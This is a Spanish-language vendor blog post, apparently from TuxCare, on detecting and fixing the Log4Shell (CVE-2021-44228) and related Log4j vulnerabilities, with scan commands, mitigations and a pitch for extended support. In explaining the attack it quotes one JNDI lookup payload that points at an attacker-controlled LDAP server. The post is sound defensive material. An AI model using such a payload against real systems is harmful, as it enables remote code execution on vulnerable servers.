Soporte técnico
Documentación
Inicio de sesión
Contáctenos
Ir directamente al resumen generado por IA de esta entrada del blog 
Principales conclusiones
- La corrección de la vulnerabilidad de Log4j que seguirá vigente hasta 2026 es una versión que actualmente se mantiene log4j-core , muy posterior a la versión 2.17.1.
- Si te quedas en la versión 2.15.0 o 2.16.0 en 2021, seguirás expuesto a las vulnerabilidades (CVE) que se den a conocer días después.
- Lo más complicado es localizar todas las copias de Log4j en los archivos JAR modificados, las imágenes base y los dispositivos de los proveedores.
Si un escáner acaba de detectar log4j-core, la solución a la vulnerabilidad de Log4j en sí es breve. Actualiza log4j-core y log4j-api juntos a una versión de Log4j que se siga manteniendo en Java 8 o una versión posterior. ¿No puedes volver a compilarlo ahora mismo? Elimina el archivo clase JndiLookup del JAR evitará el Log4Shell, pero eso solo te dará un respiro.
Todo lo que viene a partir de este párrafo aborda lo que se omite en esa versión resumida. Verás dónde suelen aparecer las copias no registradas: archivos JAR ocultos, dispositivos de proveedores y contenedores que nadie ha incluido en el inventario. También verás por qué el hecho de haber aplicado los parches a las versiones 2.15.0 o 2.16.0 allá por 2021 no significa que hoy estés protegido, y qué hacer con la instancia de Log4j que no puedes tocar hasta la próxima ventana de mantenimiento.
¿En qué consiste la vulnerabilidad de Log4j conocida como Log4Shell?
Log4Shell, registrado como CVE-2021-44228, es una vulnerabilidad que permite la ejecución remota de código en Apache Log4j 2. Afecta a las versiones 2.0-beta9 a 2.3, 2.4 a 2.12.1 y 2.13.0 a 2.14.1, y tiene una puntuación CVSS de 10,0. No se puede obtener una puntuación más alta que esa.
The root cause was Log4j’s message-lookup feature, which treated certain substrings inside a logged value as instructions instead of plain text. Drop a string like ${jndi:ldap://attacker-server/a} into any logged field, and a vulnerable Log4j would fire off a JNDI lookup to a server the attacker controls. In plenty of real environments, that lookup ended with the attacker’s code running inside the application. No credentials needed. Nobody had to click anything, and the payload could ride in on something as ordinary as a User-Agent header.
Por qué la corrección de la vulnerabilidad de Log4j sigue siendo importante en 2026
Log4Shell se dio a conocer hace casi cinco años, y la CISA la incluyó en su catálogo de vulnerabilidades explotadas conocidas (KEV) esa misma semana. Todavía no ha desaparecido. La investigación de Sonatype reveló que aproximadamente el 13 % de las descargas de Log4j desde Maven Central en 2025, unas 40 millones de un total de casi 300 millones, seguían utilizando una versión vulnerable a Log4Shell. Contrast Security descubrió que el 12 % de las aplicaciones Java seguían ejecutando una versión vulnerable tres años después de que se hiciera pública la vulnerabilidad.
En parte se debe a que hay equipos que nunca han aplicado parches. Gran parte también se debe a cómo evolucionan los gráficos de dependencias a posteriori. Un nuevo servicio creado a partir de una plantilla de proyecto antigua hereda la versión que dicha plantilla tenía fijada. Un cambio en las dependencias en cualquier otro lugar puede alterar la resolución transitiva y volver a introducir una versión antigua de Log4j. Y un sistema restaurado a partir de una copia de seguridad realizada antes de diciembre de 2021 vuelve a estar tan vulnerable como el día en que se creó la imagen. Cualquiera de estas situaciones puede reintroducir una versión vulnerable en un entorno que ya había superado un análisis, sin que nadie haya decidido deshacer la corrección.
Cómo funcionan los ataques de Log4Shell
La cadena es corta, lo que explica en gran medida por qué causó tanto daño. Un atacante inserta una cadena de búsqueda JNDI en cualquier campo que la aplicación registre, ya sea un encabezado de solicitud, un nombre de usuario o una consulta de búsqueda. Log4j interpreta la cadena como una instrucción en lugar de mostrarla como texto, y la JVM abre una conexión saliente hacia el servidor LDAP o RMI indicado en ella. En un entorno vulnerable, esa búsqueda puede dar lugar a que se ejecute código controlado por el atacante con los mismos privilegios que la aplicación de registro.
Para aprovechar la vulnerabilidad CVE-2021-44228 no se requiere autenticación, y la aplicación no tiene que realizar ninguna acción inusual con los datos introducidos. Basta con que la cadena llegue, en algún momento, a una instrucción de registro.
Se han descubierto nuevas vulnerabilidades relacionadas con Log4j
Log4Shell no se solucionó de una sola vez. Apache lanzó cuatro versiones en menos de tres semanas, y cada una de ellas solucionaba una brecha que la anterior había dejado sin cerrar. Si tu equipo aplicó un parche una vez en diciembre de 2021 y no siguió adelante, es muy probable que la corrección de la vulnerabilidad de Log4j se quedara en la versión 2.15.0 o 2.16.0, y ambas siguen expuestas al menos a un CVE de esta tabla.
| CVE | CVSS | Corregido en | Publicado por NVD | Qué es lo que cubre realmente |
| CVE-2021-44228 (Log4Shell) | 10,0 Crítico | 2.15.0 (parcial) | 10 de diciembre de 2021 | Ejecución remota de código sin autenticación a través de búsquedas JNDI en cadenas registradas. Afecta a las versiones 2.0-beta9 a 2.3, 2.4 a 2.12.1 y 2.13.0 a 2.14.1. |
| 45046 | 9,0 Crítico | 2.16.0 | 14 de diciembre de 2021 | La corrección 2.15.0 resultaba incompleta en configuraciones distintas de las predeterminadas, lo que seguía permitiendo fugas de datos y la ejecución remota de código. Apache revisó al alza la puntuación, que inicialmente era de 3,7, una vez que se comprendió el impacto real. |
| 45105 | 5,9 Medio | 2.17.0 | 18 de diciembre de 2021 | Recursión incontrolada en búsquedas autorreferenciales, que provoca el bloqueo del proceso mediante un ataque de denegación de servicio, en lugar de ejecutar código. |
| 44832 | 6.6 Medio | 2.17.1 | 28 de diciembre de 2021 | Ejecución remota de código a través del Appender JDBC, pero solo si un atacante ya puede modificar tu configuración de registro. |
| 4104 | 7,5 Alto | No hay corrección en el código fuente | 14 de diciembre de 2021 | Deserialización a través de JMSAppender, pero solo cuando JMSAppender está configurado y un atacante puede modificar la configuración de registro. Log4j 1.x dejó de recibir soporte técnico en agosto de 2015, por lo que no hay ningún parche del desarrollador original y nunca lo habrá. |
En Java 8, la versión 2.17.1 fue la primera en resolver los cuatro problemas de Log4j 2 mencionados anteriormente. Los equipos que utilizaban Java 7 o Java 6 tampoco se vieron afectados, ya que Apache incorporó las mismas correcciones en la versión 2.12.4 y 2.3.2, las últimas versiones que se lanzaron para esas ramas.
Sin embargo, eso no significa que la versión 2.17.1 sea una buena opción para 2026. Apache indica ahora que toda la línea 2.17.x ha llegado al final de su mantenimiento, y las correcciones para los problemas de Log4j detectados desde entonces se incorporan a las líneas 2.25.x y 2.26.x, que sí siguen recibiendo mantenimiento.
Log4j 1.x queda al margen de toda esta evolución. No cuenta con la función de búsqueda que subyace a Log4Shell, pero llegó el fin de su vida útil en agosto de 2015, años antes de que ocurriera todo esto, por lo que ninguna actualización del proyecto original solucionará jamás el CVE-2021-4104. Asegurarse de que JMSAppender no esté configurado cierra esa vulnerabilidad en concreto. A largo plazo, las opciones realistas son migrar fuera de la versión 1.x o ejecutar una versión mantenida, como el ELS de TuxCare para Log4j 1.2.x.
Cómo detectar la vulnerabilidad de Log4j en tu entorno
Las tres comprobaciones detectan tres aspectos distintos, y si se omite cualquiera de ellas, queda un punto ciego que las otras dos no pueden cubrir.
Consulta primero tus manifiestos de compilación
mvn dependency:tree -Dincludes=org.apache.logging.log4j
./gradlew dependencies –configuration runtimeClasspath | grep log4j
Esto muestra todas las dependencias de Log4j que resuelve tu compilación, incluidas las transitivas. No encontrará nada incluido en un archivo JAR de un proveedor que no se haya declarado como dependencia desde el principio.
Buscar artefactos implementados para la propia clase
Los archivos JAR «ocultos» pueden reubicar paquetes o eliminar los metadatos de los que dependen los escáneres, pero el código byte sigue estando ahí. Busca directamente en los archivos y dirige la búsqueda a las rutas donde se encuentran realmente tus aplicaciones. Rastrear todo / en un servidor de producción con mucha actividad es lento y supone una gran carga para la E/S del disco.
find /opt /srv /var/lib ‘(‘ -name “*.jar” -o -name “*.war” -o -name “*.ear” ‘)’ -type f 2>/dev/null |
while read -r f; do
unzip -l «$f» 2>/dev/null | grep -qE ‘JndiLookup\.class|log4j-core’ && echo «$f»
done
Cualquier resultado que no haya aparecido ya en la búsqueda del manifiesto es una copia que nadie ha declarado, como el archivo WAR de hace diez años, el dispositivo del proveedor o la imagen base que alguien creó en 2019. Ten en cuenta que un resultado significa que Log4j 2 está presente, no que sea vulnerable. Las versiones parcheadas siguen distribuyéndose JndiLookup.class, así que comprueba la versión antes de abrir un ticket (el archivo pom.properties en META-INF/maven dentro del JAR suele indicarla). Las capas de imágenes de contenedores, los dispositivos en los que no se puede acceder al shell y los archivos anidados a varios niveles de profundidad requieren un escáner diseñado específicamente para ello, en lugar de una simple línea de comando.
Comprueba qué se está ejecutando realmente
Un archivo JAR almacenado en el disco que nunca se carga tiene una prioridad menor que la misma clase cargada dentro de un proceso en ejecución. Revisa las JVM en ejecución y confirma qué versión de Log4j ha utilizado realmente cada proceso al iniciarse, ya que puede diferir de la que hay en el control de código fuente o de la que se incorporó a una imagen hace meses.
On a host, lsof -p <PID> | grep -i log4j lists the Log4j JARs a running JVM currently has open. That’s good evidence, but it isn’t a complete record of every class the process has loaded, and fat JARs only show up as the outer archive. Pair it with the artifact search above.
Nota: Realiza las tres comprobaciones, en ese orden, antes de dar por resuelta la vulnerabilidad de Log4j. Un análisis del manifiesto por sí solo indicará sin problemas que la aplicación está limpia, aunque haya una copia incluida por el proveedor en un directorio tres niveles más abajo.
Cómo solucionar la vulnerabilidad de Log4j paso a paso
Actualizar o adaptar la biblioteca
Actualizar log4j-core y log4j-api juntos a una versión de Log4j que se mantenga actualmente y que sea compatible con tu entorno de ejecución de Java. En Java 8, la versión 2.17.1 fue la primera en corregir las cuatro vulnerabilidades CVE mencionadas aquí, pero esa versión ya ha dejado de recibir mantenimiento, así que considérala el mínimo exigido para 2021 y apunta más alto. Fija o gestiona de forma centralizada la versión (importando log4j-bom en el archivo dependencyManagement de Maven funciona bien) en lugar de dejarla a la resolución transitiva, que puede reintroducir silenciosamente una copia más antigua. A continuación, recompila todos los artefactos que incluyan la biblioteca, no solo el que haya señalado el escáner.
Hay algunas copias que simplemente no se pueden actualizar según tu calendario. Log4j 1.x no cuenta con ninguna corrección por parte del desarrollador original, y algunas aplicaciones dependen de una versión anterior de Log4j que no puede dar el salto a una nueva versión sin un importante trabajo de adaptación.
Esa es la diferencia para la que está diseñado el soporte de ciclo de vida ilimitado de TuxCare para Log4j , y que se explica con más detalle a continuación. Las copias incluidas por los proveedores plantean un problema distinto. Los dispositivos y las versiones propietarias no suelen poder modificarse sin romper una versión firmada o un acuerdo de soporte, por lo que esa corrección tiene que venir del proveedor.
Mitiga lo que aún no puedas corregir
Si se bloquea la recompilación en una versión de Log4j 2 afectada, la medida de mitigación de emergencia que recomendó Apache durante la respuesta al Log4Shell consistía en eliminar físicamente la clase vulnerable:
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
Esto se mantiene tras los reinicios y no depende de la configuración en tiempo de ejecución. Cierra la ruta de búsqueda JNDI afectada por los vulnerabilidades CVE-2021-44228 y CVE-2021-45046, pero no resuelve el problema de denegación de servicio de CVE-2021-45105 ni el problema del JDBC Appender de CVE-2021-44832. El formatMsgNoLookups , que circuló como solución provisional inicial, solo existe en la versión 2.10 y posteriores, y no resuelve en absoluto el CVE-2021-45046. Cualquiera de las dos opciones permite ganar tiempo hasta que se lance la actualización.
Comprueba que la corrección funciona en el sistema en ejecución
Vuelve a ejecutar la búsqueda de artefactos de la sección anterior y, a continuación, confirma la versión cargada en cada JVM en ejecución. El hecho de que haya una versión parcheada en tu registro no te dice nada sobre el contenedor que está gestionando el tráfico en este momento a partir de una imagen compilada hace dos implementaciones. Anota también lo que hayas comprobado en tiempo de ejecución. Ese registro es lo que te permite cerrar el hallazgo de forma definitiva, en lugar de volver a detectarlo en el siguiente análisis.
Cuándo no se puede actualizar
Algunas implementaciones de Log4j no pueden migrar a una versión con soporte técnico en un plazo razonable. Pensemos, por ejemplo, en una aplicación congelada antes de una auditoría de cumplimiento normativo, o en un sistema cuya ruta de actualización pasa por código que nadie del equipo actual ha escrito. Sin embargo, quedarse como está tiene un coste. Log4j 2.14.1 se encuentra de lleno dentro del rango afectado por CVE-2021-44228, y se trata de una vulnerabilidad con un CVSS de 10,0 que no requiere autenticación y para la que basta con una cadena registrada.
El soporte de ciclo de vida ilimitado de TuxCare para Log4j ofrece versiones de Log4j con parches de seguridad y listas para usar de versiones que el desarrollador original ya no mantiene. Esto abarca desde la 1.2.14 hasta la 1.2.17, además de versiones anteriores de la serie 2.x, como la 2.5, la 2.11.0, la 2.17.1 y la 2.17.2. Los equipos que utilicen una versión no incluida, como la 2.14.1, pueden pasar a una versión compatible y con soporte. Aunque sigue suponiendo un cambio de versión que conlleva una recompilación y pruebas, puede ser mucho menor que dar el salto directamente a la 2.25.x. Una vez allí, el sistema sigue recibiendo parches de seguridad mientras se planifica la migración a mayor escala según vuestro calendario.
Evitar que la solución se deshaga por sí sola
Que el análisis salga bien una vez no significa que la solución sea definitiva. Hay algunos hábitos que te permiten mantenerlo así sin que se convierta en un segundo trabajo a tiempo completo.
Empieza por añadir a los favoritos log4j-core y log4j-api de forma explícita en cada archivo de compilación que los utilice, en lugar de dejar que sea un POM padre o una dependencia transitiva quien decida. A continuación, convierte el inventario en una tarea periódica en lugar de una auditoría puntual. Los nuevos servicios, las copias de seguridad restauradas y las imágenes de contenedor antiguas pueden reintroducir una versión vulnerable sin que nadie se dé cuenta. Ejecuta la búsqueda de artefactos de forma programada y comprueba las versiones que encuentra, ya que JndiLookup.class por sí solo también marcará las copias parcheadas.
Restringe el acceso de red saliente desde los servidores de aplicaciones siempre que sea posible. La vía de explotación clásica de Log4Shell depende de que el host se conecte al servidor LDAP o RMI del atacante, por lo que el filtrado de salida rompe la cadena de ataque más habitual. No detendrá las fugas de datos basadas en DNS ni las vulnerabilidades CVE que no se basan en llamadas de retorno JNDI. Se trata de una defensa en profundidad: aún así, hay que aplicar los parches.
Por último, clasifica las bibliotecas y los entornos de ejecución que han llegado al final de su vida útil (EOL) como una categoría de inventario independiente, distinta de «necesita una actualización de versión». Un componente compatible cuenta con una vía activa desde el desarrollador original para obtener una corrección. Uno que ha llegado al final de su vida útil solo recibe correcciones si, por ejemplo, un acuerdo de soporte de ciclo de vida ampliado las adapta a versiones anteriores.
Protege Log4j con TuxCare
Log4j no será la última biblioteca que resulte estar presente en todas partes y ser, al mismo tiempo, silenciosamente peligrosa, pero es la que la mayoría de los equipos de Java ya han tenido que afrontar al menos una vez. El soporte de ciclo de vida ilimitado de TuxCare amplía la aplicación de parches de seguridad a Log4j y otras bibliotecas y entornos de ejecución más allá de su fin de vida útil oficial, por lo que una versión que aún no puedas actualizar no tiene por qué ser una versión que estés ejecutando sin parches. Si en tu inventario aparecen copias de Log4j que no se pueden migrar según lo previsto, ese es precisamente el problema para el que se ha diseñado este servicio.
